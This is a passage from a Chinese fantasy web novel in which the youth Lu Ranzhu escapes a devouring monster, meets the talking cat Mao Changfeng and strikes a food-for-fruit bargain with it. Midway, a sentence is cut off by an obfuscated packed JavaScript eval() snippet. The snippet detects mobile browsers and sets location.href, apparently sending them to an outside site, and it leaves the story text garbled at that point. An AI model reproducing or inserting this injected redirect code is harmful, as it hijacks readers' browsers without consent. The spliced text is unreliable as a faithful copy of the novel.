雨还在下,陆燃竹收拾到后半夜,背包空间有限,他把一些该带的都收拾进背包后便裹着被子坐在草垛上。 夜晚的森林很危险,他打算明天一早再走。 隔日一早,当天蒙蒙亮的时候,树洞那扇缠满迷雾藤的门被陆燃竹从里面推开,他背着一个包裹小心地把门关好,随后在晨雾中朝着森林的北边走去。 先前他观察过,北边的红光较少,是相对平缓的平原区,保不齐可能有人生活过的痕迹。 或许会有返回觉醒联盟路线的线索。他需要找到一个正确的方向。 少年裹紧身上披着的杂草堆,上面都是他收集的一些有毒的杂草,捆成一团再洒点刺鼻的气味,成了这半个月来降低存在感的超好用“装备”。 寂静的森林中,不同作息的灾兽群时不时弄出簌簌的声响,一些小型灾兽在高处树枝间穿荡,有一些甚至停下来看着那底下行动缓慢的“树丛”,疑惑地靠近却又因难闻的气味而远离。 而在陆燃竹离开树洞的一个小时后,熟悉的藤条轻车熟路地从缺口入侵,它人性化地蜷动两下,却在发现树洞内空无一物后顿住了。 “咕噜噜……” 人呢? 未知区生态链十分复杂,体型、等级都不是决定一场捕食的关键。陆燃竹躲在角落里看着一只蚁型灾兽将大它数百倍的龟型灾兽拆解吞吃后,默默把身上的“装备”裹得更紧。 物竞天择,适者生存。 这一准则在未知区内每分每秒都在上演。 卷发少年从一开始的措手不及,到现在已经能躲在一旁等一场场狩猎结束。 看着那头蚁型灾兽速度极快地将龟肉吃得干净,陆燃竹不由得地开始环顾四周。 他得看看自己接下来要走的路线,以及防范有没有“黄雀”在旁窥伺。 只是……不同于可控区那般知道灾兽的等级限制,在未知区,陆燃竹天赋的等级受限被无限放大。 【嘀嘀—检测到北侧有大量可开拓的食材正在靠近,是否进行详情讲解?】 探测功能的播报声一出,陆燃竹和金勺勺瞬间头皮发麻。 美食开拓系统目前探测功能局限于一百五十米,而陆燃竹天赋所能看到的灾兽最高等级是领主级。 放在平时,二者相互结合起码能做到保证一百五十米的相对安全。 然而现在他的眼前都是红光,却没有在探测功能预警的方向看到更刺眼的存在。 这也就说明,在大量可开拓食材的背后,远远高于领主级的存在。 意识到这一点,一人一统连半点犹豫都没有,起身拔腿就跑。 可没等陆燃竹跑出五十米,身后浩浩荡荡的灾兽群便追了上来。 逃命面前,真就各凭本事。 陆燃竹铆足劲跑,也跑不过有四条腿的和有翅膀的,眼看着大批灾兽超过自己朝前奔去,少年脸都憋红了。 而大批猎物的逃脱仿佛触怒了狩猎者,只听一阵狂风呼啸,奔袭在林间的灾兽群突然失去了重心,不受控制地漂浮起来。 陆燃竹也是如此,他眼疾手快地抱住旁侧的大树,十指死死扣住树皮。 他匆匆往后看,就见在距离自己大概两百米外的半空处,一头燃着黑火的未知生物在空中若隐若现。 陆燃竹看不清它的全貌,唯一能看清的,便是那发出强悍吸力的血盆大口。 “吼—” 宛若吞食鱼虾,伴随着阵阵吼叫和尖啸,刚刚还跑在少年面前的灾兽群纷纷被那诡异的吸力吸向空中。 陆燃竹丝毫不敢放手,第一颗树的树皮被掀飞,他就抱住第二颗。 金勺勺大气都不敢出,料理词条更是调得飞起。 就在陆燃竹总算抱住一颗能撑久一点的大树时,正前方突然飞来一团绿色。少年敏捷地一躲,脖子处却忽然传来拉扯感,他匆忙低头一看。 只见有一团绿色毛茸茸的东西伸出两条藤条圈住自己脖子,单是圈着还不够,他还眼尖地看到毛茸茸之下有两条腿在不停地蹦跶,充斥着满满的求生欲。 没等少年低头去咬断那两条淡绿色的藤条,金勺勺一声大喊响亮又刺耳。 “啊啊啊啊!是那个餐盘小偷!” 餐盘小偷? 陆燃竹低头看着自己脖子处的两条淡绿色藤条,迟钝地和美食开拓系统昨晚的证词对上了号。 而他低头的动作也吓了那团绿色一跳。像是怕少年抛弃自己,绿色毛团连忙收缩藤条,啪唧一下贴上了少年白皙的脖子。 见此,陆燃竹眉头皱起,下一刻,却对上了一双金黄色的大眼睛。 他这才看清楚绿色毛团的全貌。 两个尖耳朵,脸上有和眼睛同色的花纹,其余都是淡绿色的毛色,是只非常可爱的生物。 它有点像少年在之前图书馆看过的,只存在于觉醒历之前的生物。 可在未知区,再可爱也代表危险。 像是识别出少年眼里的决然,眼前的生物骤然开口。 “七星族的小子,快快保护我!” “别抛下我啊!” 稚嫩的声音,但是人话。 金勺勺见此大惊:“宿主!它说话了,它是灾兽吗?还是什么?” “不是,不是灾兽。”陆燃竹看得清眼前生物身上的能量颜色,不是和灾兽一样的,而是和觉醒力一样的蓝色。 “那是觉醒兽?” “也不是。”陆燃竹迟疑,“它可能是觉醒智慧种族的一种。” 闻言,金勺勺一愣:“可我的资料库里面没有这类种族的资料啊。” 不对,它又反应过来,没有资料并不代表不是。自家宿主就是个典型的例子。 而且,它话中的七星族是什么意思?为什么喊宿主七星族? 金勺勺疑惑的问题,陆燃竹也疑惑。 两人的对话一时都在脑里进行,这可把猫长风吓坏了,它死死扒着少年的脖子,语速极快地道:“我们都是一个村的,你做人不能这么绝情!” “我知道偷你盘子是我不对,可我今早就想和你道歉的!谁知道你一下就跑了!” “同为老乡,我们彼此扶持,你不要抛下我啊!” “我真的打不过吞噬魔啊!” 它嚷嚷着,一时竟把陆燃竹给嚷懵了。 絮絮叨叨的声音夹带着无数信息,让一人一统满脸问号。 什么叫一个村的?吞噬魔又是什么? 说的都是什么意思? 陆燃竹有心搞清楚这些问题,但现在情况危急,他得先保住自己的小命。身后的吸力还在继续,陆燃竹甚至还能听到那血盆大口咀嚼的声音。 毛骨悚然,吓得脖子处的生物抱得更紧了,险些让卷发少年喘不过气。 “你……”陆燃竹艰难地吞咽口水,“你别抱这么急,等会我被你憋死你就自己喂你那个什么吞噬魔去。” 略带威胁的声音让猫长风一下噤声,抱住陆燃竹的力气也放轻了。 见他识趣,陆燃竹临时召唤出一把尖刀,他狠狠扎入树干中,借此缓解指尖的疼痛。 或许是那吞噬魔开始中场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338412|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息,随着咀嚼的声音变响,吸力开始减缓。 见状,陆燃竹丝毫不敢耽搁,双腿一着地就接着往前跑。 因着吸力,他眼前的道路无比平坦和宽敞,也便于他更快地朝前跑。陆燃竹注意着身后的声响,一有风声的异动,他就往林子里扎。 这重复的动作,在来来回回做了五、六次后,陆燃竹和猫长风终于远离了吞噬魔进食的范围。 停下来的陆燃竹喉间都是血腥味,他胸腔剧烈起伏,扶着树干不住地喘息。猫长风见状攀爬转移到少年肩膀上,轻轻地帮少年顺气。 “感谢感谢!” 它讨好地说着,边帮少年顺气,还一边从身后小背包里掏出一个黄色的果子递到少年跟前。 “多汁香甜的灵液果,解解渴。” 这般举动让原先还对它有气的金勺勺冷哼一声,习惯和宿主相配合的系统自觉观察周边的环境,在发现远处熟悉的树洞时微微一愣。 “好巧啊,宿主,我们又回到了树洞这里了。” 闻言,缓过来的陆燃竹抬头看去,果不其然,那熟悉的迷雾藤门就在几米开外。 可喜可贺,忙活一个上午和下午,它们又回到了原点。 也好。 卷发少年叹了口气,他伸手抓着还在献殷勤的猫长风,有些腿软地朝树洞处走去。 正好有个可以“盘问”的安全地方。 “所以,你到底是谁?” 熟悉的树洞空间内,陆燃竹把草垛搬到正中央,他坐在上面双手抱胸认真地盯着猫长风。 猫长风谄媚一笑:“老乡,我觉得依我们俩之间的关系,倒不必如此生分。” 它扑闪着大眼睛,甩着尾巴走近,却被少年用一个手指头抵住了额头。 陆燃竹冷冷地说:“别套近乎。” 他脖子上现在还有几道血痕呢。 见卖萌不过,猫长风顿时识趣地正襟危坐。它尾巴乖巧地搭在脚边,尴尬地舔了自己手上的毛。 “我叫猫长风,家住在化应堡西部,与你们七星族的驻地就隔了一条街道。我们是邻居。”猫长风边说边盯着少年的脸色,见上面还是冷冰冰的,便接着说,“不过你们瞳部的人住得远,你应该没怎么见过我。” “但你应该也知道,不是前段时间封印松动吗……村内就出现了一些不该出现的紫洞。我因为好奇就去看了眼,没想到脚底一滑就摔了进去。” “然后一睁眼就来到这。” 它越说越尴尬,舔毛舔得更频繁了,也不敢看陆燃竹的脸。 “虽然冲动了点,但好在遇到了你!” 猫长风眼睛发亮,“你肯定也是和我一样因为调查紫洞才来到这里的吧!” “这么一看,我们也算心有灵犀啊。” 它絮絮叨叨,不一会就把自己的来历说了个清楚。陆燃竹排除它三番两次试图套近乎的话术,也理清猫长风话中的信息点。 总结下来有三个。 一个是猫长风自己因为贪玩而误入类似时空缝隙的“紫洞”,意外来到了未知区;第二个是它十分笃定陆燃竹的种族身份,甚至在它的表述中,名为七星族的种族和它自己的种族生活在一个叫化应堡的地方,两族关系和谐;第三个是它对未知区的一些灾兽类型十分了解,其知识范畴与觉醒联盟的资料库是完全不重叠的区域。 这么一看,眼前的猫长风原先生活的区域,肯定不在觉醒联盟,而是在觉醒联盟之外,甚至可能彼此都不清楚对方的存在。就这一点而言,便能解释为何金勺勺在觉醒联盟资料库中找不到猫长风和自己的种族信息。 因为种族生活的化应堡根本不在觉醒联盟的已知范围内。 不过…… 猫长风又是为何这么笃定自己就是七星族的人? 陆燃竹抿了抿唇,试探性地问:“你怎么就知道我是瞳部的人?” 他没直接问,而是拐了个弯。 猫长风一愣,随后笑了一声。 “这不是很明显吗?你那双眼睛我一看就知道。你们七星族的图腾会显示在不同的部位,耳部在耳朵,瞳部自然就是在眼睛啦。” 它猛地凑近,绿白色的爪子指了指少年的眼底,“你看,发动天赋时你的眼底有一个碎星,这就是你们瞳部的标志。” 36. 第 36 章 第36章 陆燃竹手一顿,他没有动作,金勺勺却立刻转动视角,它看着宿主好看的眼睛,仔细观察了一阵,果不其然发现在紫色的眸底有碎星的形状。 金勺勺惊讶:“真的欸!我们之前都没发现!” 没发现是正常的,少年不喜欢照镜子,之前的出租屋内连一面镜子都没有,平日更不会关注。更何况碎星放在眼底,偶尔还会被误认为反光,不细看根本看不出来。 陆燃竹没有说话,猫长风以为自己经过了他的考验,又自来熟地走近了一点。 “你叫什么呀?我都告诉你我的名字了,你也该告诉我呀。” “我们灵液族和你们七星族是好搭档,我给你灵液果,你能不能不生气了。” 它一步步走近,看少年没推自己,甚至胆大包天地蹭了蹭他的手。 它们灵液族是灵液树最宠爱的觉醒种族,种族没有性别之分,生养于母树,也魂归于母树。猫长风是如今这一代最小的小辈,天真率性也调皮捣蛋,原先在族内是被捧在手心的存在。 虽然时常惹族老生气,但也从未挨过打。 可如今它不在族内,短短半个月的野外生存让它感受到独自生活的艰辛。食物的不充足更是饿得它皮毛都黯淡了。好不容易遇到了个七星族的老乡,它恨不得时刻都贴着他。 七星族能狩猎,对它这个只会种灵液果和吃的猫就是个超大的大腿。 更何况,眼前少年做饭好吃,比村里的大厨做得还好吃,它吃了还不会闹肚子。 暖和的毛绒绒贴上来的那一刻,陆燃竹手指微微一动,有些克制不住想要摸,又因为信息还没套出来忍了忍。 “陆燃竹。” 他回答着,伸手接过了猫长风递过来的灵液果。眼中的果子焕发着安全的金光,拿在手里更是十分光滑。 见他接过了自己的灵液果,猫长风再度顺着杆子往上爬。 “我种的灵液果味道很不错的,族老都说我有天赋。你吃了肯定能缓解体内的污染,杀灾兽肯定会更有力气。” 毛绒绒完全不知道眼前的老乡并不是自己真正意义的老乡,它看着少年瘦弱的模样,又从背后的背包里掏出一个灵液果。 “我这里灵液果很多的,你不用担心吃灾兽肉会增加污染。” “我现在应该用不着。” “怎么会用不着呢!你别看我年纪小,我已经是灵液二级了!灵液果质量更是杠杠的!”猫长风怕少年后面不带自己,急忙展示自己的用处。 灵液族和七星族在化应堡本就是互帮互助的关系。灵液族拥有天赋灵液空间,能培育具备净化效果的灵液果,减轻觉醒智慧种族体内的逆觉醒流污染。七星族感知天赋通天,加上体质优越,是一流的灾兽猎手。 与能完全适应逆觉醒流的七星族不同,灵液族对逆觉醒流虽存在抗性,但也需要在灵液空间进行修养。 可即使这样,他们终归都是觉醒种族,摄入灾兽肉对身体只有弊大于利的影响。在化应堡,只有七星族烹饪的食物逆觉醒流含量较低,是比较安全的食物来源。 大家都是吃七星食堂的饭,然后再定期吃灵液果净化体内污染来维持体内污染值不超标。 所以猫长风才会再遇到陆燃竹这个七星族时这么激动,这不止是老乡,还是保镖和厨子! “你看你这么瘦弱,肯定是来这之后不敢大肆吃灾兽肉。我还不了解你们七星族,你们每顿都吃几盆的!” 在化应堡,七星族就是个变态的怪咖。第一个敢吃灾兽肉的是他们,第一个敢闯化应山也是他们。明明不是战斗力最强悍的天赋,却生生靠强行适应来改变自身体质。 明明灾兽肉都是有害的,他们那一族却硬生生能从中获得增强体质的能量。 仿佛对他们来说,只有自己才能做自己命运的主人。 眼前的少年肯定也吃灾兽,昨夜的残羹就是有力的证明。 金绿色的猫打着算盘,想用灵液果来达成交易。 它转了个圈用尾巴拍了拍少年。 “但现在命运让我们相遇,我拿灵液果给你当饭钱。这样你就能放肆地吃灾兽肉。我们俩搭配,等回到化应堡后,你肯定能成为最勇猛的战士!” 闻言,陆燃竹低头看着手里的灵液果。猫长风的算盘他很清楚,如果它所说的话是真的,这个名为灵液果的东西能够减轻体内逆觉醒流的污染,那这个交易就有存在的价值。 想要在未知区成功活下去,保护自己不被强大灾兽狩猎是关键,最基础的生活物资更是首要的。 吃富含逆觉醒流的食物,昨夜更不会只是第一例。 金勺勺也清楚猫长风这个交易的价值,只是它很犹豫。 “宿主,能相信它吗?” 在这只猫的嘴里,化应堡的人都吃灾兽肉,这放在它从觉醒联盟获取的资料库内,简直是危言耸听。 逆觉醒流和觉醒力可是相悖的存在。 这么长期吃下去,不会出事吗? 宿主,又真是七星族吗? 同样的疑惑和犹豫,陆燃竹也有。可这个交易对他来说,利远远大于弊。 为印证自己到底是不是七星族,陆燃竹还拿出那块手帕给猫长风看,金绿色的猫看到那图腾就连连点头,彻底坐实了陆燃竹七星族的身份。 少年转动着手里的果实,问:“灵液果你产量多少?” 这是可以谈的讯号。 闻言,猫长风举起右爪,自豪道:“我两天能结一颗!” “储量呢?” “……还有两颗。” 猫长风眼神飘忽,说出这个数字有些心虚,包含它给陆燃竹的两颗,它的储量就只有四颗。以前它有好多的,可来这鬼地方半个多月,它不敢吃别的东西,只啃灵液果。 渐渐地,就被它啃完了。 卷发少年冷酷无情摇摇头:“太少了。” 猫长风低下头:“……” 早知道之前一开始就省点吃了! “饭钱两天一颗灵液果,我不保证三餐,但有吃的会分你一口。平日你还得帮忙干活,不能惹事。” 陆燃竹把自己的要求讲清楚,他拿出背包里的一次性契约卷轴,边写边说,“你也知道,这地方没有其他种族生存的痕迹,想回家很难。” 猫长风点头如捣蒜,在这里它都感应不到母树的存在。 “我懂,这里肯定就是化外者生活的化外区,很危险!” 又一个生词,陆燃竹停顿了一下又继续说,“所以我这不养闲人,你有自保的能力吗?” “有的,我可以躲进自己的灵液空间里面。” 猫长风说着,一边用藤条撑起自己。陆燃竹只觉眼前一花,下一刻猫长风的身影就不见了,地面上只留一片叶子,等过了两秒,叶子消失不见,它又突然出现在自己面前。 灵液族的灵液空间,必须在空间外留一个锚点。 见此,少年眉头一挑,满意点点头。 能自保就行,他可没有信心在护住自己的同时还能护住猫长风。 见他满意,猫长风小心地举起前爪,“那交易成立?” “成立。”陆燃竹点头把手里的卷轴递给它。 猫长风看不懂上面的文字,但看懂了最后一行少年抹上去的血迹,也有模有样地摁了个手印上去。 这般不设防,倒是让陆燃竹奇怪地看了它一眼,可猫长风没注意。了结生存大事,金绿色的猫顿时手舞足蹈,晃着屁股就跳到卷发少年身边,亲近地贴贴,它好开心。 族里的姐姐说过,要是有个七星族好搭档,吃饭的时候食堂阿姐都会多给自己几勺。在野外更是不用担心,七星族好搭档还能帮自己赶跑坏灾兽。 一拳一个,十分可靠。 虽然陆燃竹瘦弱了一点,但也是七星族啊。 猫长风亲近地蹭着,都快把近期焦虑掉的毛全蹭少年身上了。正当它快舒服地发出咕噜声时,少年一句话直接打破了它的幻想。 “对了,忘记跟你说了。” “嗯?” “我不是你们化应堡的人。” “O^O?” 什么!!!!! “宿主,你不是化应堡的人这件事对它的打击这么大吗?” 安静的树洞内,凌晨刚收拾干净的空间又被少年一点点填满东西。草垛放回了原本的位置,篝火复燃,门口的迷雾藤加固,就连顶上的缺口,陆燃竹也让猫长风给堵了。 北边目前走不得,猫长风说吞噬魔一般会在一个地方吃饱喝足了再走,陆燃竹便打算在树洞内多待几日。 金勺勺问这句时,陆燃竹刚铺好床单。它,指的当然是猫长风。金绿色的猫正抬头看着堵得并不严实的缺口出神,落寞的背影透露一点点忧伤。 “可能因为我不是它的老乡?但我们对那个地方不知情的事情还是提前说比较好。” 陆燃竹抽空看了一眼,回到了篝火前,他拨弄着火里的木材,“再骗它我怕我瞒不住。” 本来就是因为猫长风认出自己的种族才得了便宜,现在试探结束,确认猫长风无害,也没有外援,交易也达成了,有契约在前,陆燃竹也不想再骗人,不骗猫了。 “那倒也是。不过宿主,它所说的你们七星族靠吃灾兽肉增强体质的事情,是真是假?” 以吃灾兽肉来增强体质,听说七星族还擅长料理,难不成化应堡的七星族还有什么其他的天赋能力? “不清楚。想来,那里的人可能和我一样能感知到烹饪过程中的能量变化。” 只要能感知到,发现烹饪过程中的能量变化也是非常正常的。和他们一样研究安全的食物也是有可能的。 “或许和我们一样也研究出低逆觉醒流的安全食物也说不定。” “也是。” “那它这么伤心为啥呢,我们不是说好带它了,有一份吃的就不落下它?” 吃的?陆燃竹手一顿,他摸了摸自己的肚子,感受其扁度,后知后觉自己好像也该吃点东西了。他拿出昨夜做的“干煸酸辣吊瓶菇”,小心地分成了两盘。 熟悉的香味一出,猫长风忧郁的背影微微一动,它尾巴开始躁动起来。没等它矜持地转身,就听少年唤自己。 “猫长风,吃饭了。” “来啦~” 它敏捷地跳了一下,迈着雀跃的脚步快步走到少年身旁,看那样子,哪还有刚刚的忧郁,满心满眼都是少年手里的东西。见它紧盯的模样,陆燃竹有心晃了一下手里的东西,瞧着那双金黄色的大眼睛也跟着晃,他嘴角微动,附身把盘子放在猫长风面前,“干煸酸辣吊瓶 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见他极为认真,猫长风不可置信地看了他一眼,猫眼上下打量了一圈,尤其在少年看起来单薄的胳膊处停了一下。 “怪不得你这么瘦弱,正常七星族的崽子可没这么瘦弱的。” “你那哪叫饱,就是肚子有东西不至于睡不着而已。” 猫长风一语道破少年平日的生活习惯,它可不信,七星族的崽子会吃这么少。陆燃竹吃这么少,放在化应堡那群莽夫估计都要愁死了。 想到这,猫长风惆怅地叹了口气。它也愁啊,无论是眼睛的碎星还是少年身上的味道,明显就是七星族的崽子,这绝不会出错。 可……七星族明明是最护崽的种族,怎么还有丢了一个在化外区。 它愁啊,它哪知道七星族是怎么培养崽子的!它是个灵液族,柔弱的灵液族! “你得多吃啊,吃才能变强。你在化外区不懂。你们七星族挂在食堂的标语我记得可清了!” “吃饱饭,猎好肉。” “吃是第一要义啊!” 猫长风一边语重心长,一边把自己的盘子往前推。听它这么说,金勺勺也担忧地更着劝:“宿主,你别省了,现在我们已经有了法子,我也导入数据模型了,后续的食物问题你也不需要担心,等能量充足,我甚至可以跟你同频,我们尝试的次数也会大幅减少的。” 一猫一统轮着说,让陆燃竹顿时有些不适应起来了。 他承认猫长风说的话是真的,从觉醒以来,他的饭量越来越大。往日一天三块能量块的标准已经远远不够。来到未知区之后更是能省就省,在少年看来,能保证有行动的力气就算“饱”。 可现在猫长风说七星族吃饱了才会变强,他或许也该改变一下原先的观念。 “我们得吃饱了才会变强吗?” “还得吃好。” 猫长风想着自己在七星食堂见过的七星族小崽子饭量,在地上用爪子画了个大圈。 “你同龄人吃三大盆这个大小的食物呢。” 这不会太多了吗? 看着猫长风圈出来的这块地,陆燃竹不确定地想着。 金勺勺:“宿主你放开吃吃呗,反正现在天色还早,我们还有很多灾兽肉,大不了吃完我们再研究一些。” 美食开拓系统也想看看自家宿主放开吃到底能吃多少,它觉得猫长风画的那个圈肯定有夸张的成分! 它家宿主才不是个饭桶! 放开吃…… 陆燃竹迟疑地看着背包里的食物,说实在,他也不知道自己到底能吃多少…… 事实证明,猫长风的话不含水分。 背包储量30的干煸酸辣吊瓶菇,陆燃竹自己就吃了25份,其余五份入了猫长风的肚子里。 吃饱喝足的猫长风舒服地舔自己腹部的毛,见少年呆呆地坐在篝火旁发愣,抖了抖脚:“我没说错吧,这才是你正常饭量。” 金勺勺也沉默了,它先是不可置信再是心酸,整个勺子都灰暗了。 陆燃竹艰难地接收自己是个“饭桶”的事实,从当初营养不良那件事后,他已经很久没有对自己的身体感到如此难以置信了。 真能吃啊。 猫长风看少年还在发愣,又换了一侧舔毛:“这有什么可惊讶的,等你等级高了吃的会越来越多的,现在还能吃些素的填饱肚子,后会就得吃荤才够营养了。” 它果然没看错,陆燃竹做的饭可真好吃。 它伸了个懒腰,舒服地抖胡子。 吃饱喝足,该睡觉了。 只是没等它找个好位置作为今晚的“床”,便听见少年幽幽的声音。 “猫长风,干活吧。” 猫长风:“?”到点睡觉了。 “不干活的话,就没吃的了。” 陆燃竹拿出锅碗瓢盆和瓶瓶罐罐的调味料,一副俨然要干到凌晨的架势。没办法,自己太能吃,又得养猫长风,不努力迟早要完。 猫长风显然也意识到如今的环境不比化应堡。七星食堂有用不完的食材,可陆燃竹没有,一个碎星一级的小七星族,可比不得那些身经百战的七星族。 他们现在的生活,可谓是水深火热。 饥一顿饱一顿。